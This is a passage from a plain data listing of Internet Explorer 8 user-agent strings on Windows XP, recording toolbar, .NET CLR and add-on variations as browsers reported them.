5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.4; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.4; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506. Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.4; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3; AskTB5.5) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.4) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; AskTB5.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.20706; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; InfoPath.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 1.1.4322; AskTB5.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; yie8; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; AskTbF-ET/5.11.3.15590) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;JAJP) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/8.0.552.224 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; AskTbMP3R7/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2; AskTbX-SD/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3; Windows-Media-Player/10.00.00.3990; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.1; InfoPath.2; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 30.03.2010; InfoPath.2; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;JAJP) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; Windows-Media-Player/10.00.00.3990; .NET CLR 3.5.30729; AskTbBT5/5.8.0.12304) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; msn OptimizedIE8;ZHTW) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/8.0.552.215 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/8.0.552.224 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; InfoPath.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; AskTbARS/5.8.0.12304) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTB5.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKman3.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Zango 10.3.75.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; MEGAUPLOAD 2.0; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; AskTbORJ/5.14.1.20007; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zune 2.0; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; Zune 3.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET CLR 4.0.20506) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ENGB) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; FBSMTWB; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.1; .NET CLR 2.0.50727; Dealio Toolbar 3.4; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.1; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 1.1.4322; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.1; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; QQDownload 672) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;DEAT) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbSTC/5.13.1.18107) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.2; (R1 1.6); InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.0.3705; InfoPath.1; AskTbORJ/5.15.1.22229) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; AskTbAVR-IDW/5.12.5.17700; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; AskTbNRO/5.14.1.20007) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; chromeframe/17.0.963.65; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; InfoPath.3) 